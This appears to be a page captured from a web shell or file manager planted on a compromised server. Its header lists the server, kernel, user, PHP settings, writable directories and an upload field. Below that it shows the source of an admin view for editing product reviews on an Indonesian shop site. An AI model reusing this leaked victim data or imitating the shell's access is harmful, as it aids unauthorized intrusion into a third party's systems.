https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin_new/reviews/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin_new/reviews/edit_review.php
<main class="flex-1 py-4 px-4 bg-purple-50">
    <h1 class="text-xl font-bold mb-4 text-[#333]">Ubah Review</h1>
    <?php if ($this->session->flashdata('message')): ?>
        <div class="alert flex items-center justify-between bg-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-100 border-l-4 border-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-500 text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-800 px-6 py-4 rounded-lg shadow-lg transition transform duration-300">
            <div class="flex items-center">
                <!-- Ikon Feather sesuai jenis pesan -->
                <i data-feather="<?php echo $this->session->flashdata('message_type') === 'success' ? 'check-circle' : 'x-circle'; ?>" class="h-6 w-6 mr-3"></i>
                <span class="font-semibold"><?php echo $this->session->flashdata('message'); ?></span>
            </div>
            <button class="ml-4 text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-500 hover:text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-700 focus:outline-none" onclick="this.parentElement.style.display='none'">
                <i data-feather="x" class="h-5 w-5"></i>
            </button>
        </div>
        <script>
            feather.replace();
        </script>
    <?php endif; ?>

    <form action="<?= base_url('admin/reviews/update_review/' . $review->id) ?>" method="POST" class="space-y-4" id="reviewForm">
        <input type="hidden" name="<?= $this->security->get_csrf_token_name() ?>" value="<?= $this->security->get_csrf_hash() ?>" class="csrf_token">

        <!-- Informasi Voucher Section -->
        <div class="bg-white rounded-lg shadow-sm p-6" id="voucherSection">
            <h2 class="text-lg font-semibold mb-6">Informasi Produk</h2>

            <div class="mb-4" id="product_select_container">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Pilih Produk</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                    </div>
                    <div class="w-2/3">
                        <select
                            id="product_id"
                            name="product_id"
                            class="tom-select">
                            <option value="">Pilih Produk</option>
                            <?php foreach ($products as $product): ?>
                                <option value="<?= $product->id_products ?>" <?= ($product->id_products == $review->product_id) ? 'selected' : '' ?>><?= $product->title ?></option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                </div>
            </div>

            <!-- Review Subject-->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Nama</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Boleh pakai nama samaran ya.</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <input
                            id="reviewer"
                            type="text"
                            name="reviewer"
                            placeholder="Misalnya: Agus"
                            autocomplete="off"
                            required
                            value="<?= $review->display_name ?>"
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500" />
                    </div>
                </div>
            </div>

            <!-- Rating Section -->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Rating</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Pilih rating dari 1 hingga 5 bintang</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <div class="rating flex space-x-1">
                            <?php for ($i = 1; $i <= 5; $i++): ?>
                                <label class="star-rating cursor-pointer" data-rating="<?= $i ?>">
                                    <svg xmlns="http://www.w3.org/2000/svg"
                                        class="h-8 w-8 star-icon <?= ($i <= $review->rating) ? 'text-yellow-400' : 'text-gray-300' ?> hover:text-yellow-400 transition-colors"
                                        fill="<?= ($i <= $review->rating) ? 'currentColor' : 'none' ?>"
                                        viewBox="0 0 24 24"
                                        stroke="currentColor">
                                        <path stroke-linecap="round"
                                            stroke-linejoin="round"
                                            stroke-width="2"
                                            d="M11.049 2.927c.3-.921 1.603-.921 1.902 0l1.519 4.674a1 1 0 00.95.69h4.915c.969 0 1.371 1.24.588 1.81l-3.976 2.888a1 1 0 00-.363 1.118l1.518 4.674c.3.922-.755 1.688-1.538 1.118l-3.976-2.888a1 1 0 00-1.176 0l-3.976 2.888c-.783.57-1.838-.197-1.538-1.118l1.518-4.674a1 1 0 00-.363-1.118l-3.976-2.888c-.784-.57-.38-1.81.588-1.81h4.914a1 1 0 00.951-.69l1.519-4.674z" />
                                    </svg>
                                </label>
                            <?php endfor; ?>
                            <input type="hidden" name="rating" id="rating-input" value="<?= $review->rating ?>" required>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Review Subject-->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Judul Review</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <input
                            id="review_subject"
                            type="text"
                            name="review_subject"
                            placeholder="Misalnya: Enak Banget"
                            autocomplete="off"
                            required
                            value="<?= $review->subject ?>"
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500" />
                    </div>
                </div>
            </div>

            <!-- Review Description-->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <!-- Label & Info -->
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Review</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <textarea
                            id="review_description"
                            name="review_description"
                            placeholder="Misalnya: Thanks Laciasmara"
                            autocomplete="off"
                            required
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500 resize-y min-h-[120px]"><?= $review->review ?></textarea>
                    </div>
                </div>
            </div>
        </div>

        <!-- Moderation Section -->
        <div class="bg-white rounded-lg shadow-sm p-6">
            <h2 class="text-lg font-semibold mb-6">Moderasi Review</h2>

            <!-- Status Review -->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Status</label>
                            <span class="text-xs text-gray-500 px-2 py-1 bg-gray-100 rounded">Wajib</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Tentukan status moderasi review ini. Jika status 'Approved' maka akan ditampilkan di halaman produk</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <select
                            id="status"
                            name="status"
                            required
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333]">
                            <option value="">Pilih Status</option>
                            <option value="pending" <?= (isset($review->status) && $review->status == 'pending') ? 'selected' : '' ?>>
                                <span class="inline-flex items-center">
                                    🟡 Pending
                                </span>
                            </option>
                            <option value="approved" <?= (isset($review->status) && $review->status == 'approved') ? 'selected' : '' ?>>
                                <span class="inline-flex items-center">
                                    ✅ Approved
                                </span>
                            </option>
                            <option value="rejected" <?= (isset($review->status) && $review->status == 'rejected') ? 'selected' : '' ?>>
                                <span class="inline-flex items-center">
                                    ❌ Rejected
                                </span>
                            </option>
                        </select>
                    </div>
                </div>
            </div>

            <!-- Verified Purchase -->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Verifikasi Pembelian</label>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Tandai jika ini adalah pembelian yang terverifikasi</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <div class="flex items-center mt-2">
                            <input
                                id="is_verified_purchase"
                                name="is_verified_purchase"
                                type="checkbox"
                                value="1"
                                <?= (isset($review->is_verified_purchase) && $review->is_verified_purchase == 1) ? 'checked' : '' ?>
                                class="h-4 w-4 text-[#7A4397] border-gray-300 rounded focus:ring-[#7A4397] focus:ring-1">
                            <label for="is_verified_purchase" class="ml-3 text-sm text-[#333]">
                                <span class="font-medium">Pembelian Terverifikasi</span>
                                <span class="block text-xs text-gray-500 mt-1">Review ini berasal dari pembeli yang terverifikasi</span>
                            </label>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Moderation Notes -->
            <div class="mb-4">
                <div class="flex items-start gap-4">
                    <div class="w-1/3">
                        <div class="flex items-center gap-2 mb-2">
                            <label class="text-[#333] font-medium">Catatan Moderasi</label>
                            <span class="text-xs text-blue-600 px-2 py-1 bg-blue-100 rounded">Opsional</span>
                        </div>
                        <div class="mt-3 text-sm text-gray-600">
                            <p>Tambahkan catatan internal untuk moderasi review ini</p>
                        </div>
                    </div>

                    <div class="w-2/3">
                        <textarea
                            id="moderation_notes"
                            name="moderation_notes"
                            placeholder="Misalnya: Review mengandung konten yang tidak pantas..."
                            autocomplete="off"
                            class="mt-1 w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-1 focus:ring-[#7A4397] focus:outline-none text-[#333] placeholder-gray-500 resize-y min-h-[100px]"><?= isset($review->moderation_notes) ? $review->moderation_notes : '' ?></textarea>
                        <div class="mt-2 text-xs text-gray-500">
                            <p>💡 Catatan ini hanya untuk internal admin dan tidak akan ditampilkan kepada user</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <!-- Action Buttons -->
        <div class="flex justify-end gap-4 p-6">
            <button type="button" class="px-6 py-2 border border-gray-300 rounded-lg hover:bg-gray-50 transition-colors"
                onclick="window.location.href='<?= base_url('admin/customer-services/review') ?>'">
                Batal
            </button>
            <button type="submit" class="px-6 py-2 bg-[#7A4397] text-white rounded-lg hover:bg-[#6B3A87] transition-colors">
                Simpan
            </button>
        </div>
    </form>
</main>
<script>
    document.addEventListener('DOMContentLoaded', function() {
        // Initialize feather icons (untuk alert message)
        feather.replace();

        // Initialize Tom Select for all select inputs with tom-select class
        document.querySelectorAll('.tom-select').forEach(function(select) {
            new TomSelect(select, {
                plugins: ['remove_button'],
                maxItems: 1,
                placeholder: 'Pilih produk...',
                searchField: 'text'
            });
        });

        const stars = document.querySelectorAll('.star-rating');
        const ratingInput = document.getElementById('rating-input');

        stars.forEach(star => {
            star.addEventListener('mouseover', function() {
                const rating = this.getAttribute('data-rating');
                highlightStars(rating);
            });

            star.addEventListener('mouseout', function() {
                if (!ratingInput.value) {
                    resetStars();
                } else {
                    highlightStars(ratingInput.value);
                }
            });

            star.addEventListener('click', function() {
                const rating = this.getAttribute('data-rating');
                ratingInput.value = rating;
                highlightStars(rating);
            });
        });

        function highlightStars(rating) {
            stars.forEach(star => {
                const starRating = star.getAttribute('data-rating');
                const starIcon = star.querySelector('.star-icon');

                if (starRating <= rating) {
                    starIcon.classList.remove('text-gray-300');
                    starIcon.classList.add('text-yellow-400');
                } else {
                    starIcon.classList.remove('text-yellow-400');
                    starIcon.classList.add('text-gray-300');
                }
            });
        }

        function resetStars() {
            stars.forEach(star => {
                const starIcon = star.querySelector('.star-icon');
                starIcon.classList.remove('text-yellow-400');
                starIcon.classList.add('text-gray-300');
            });
        }
    });
</script>

https://t.me/RX1948 - 2025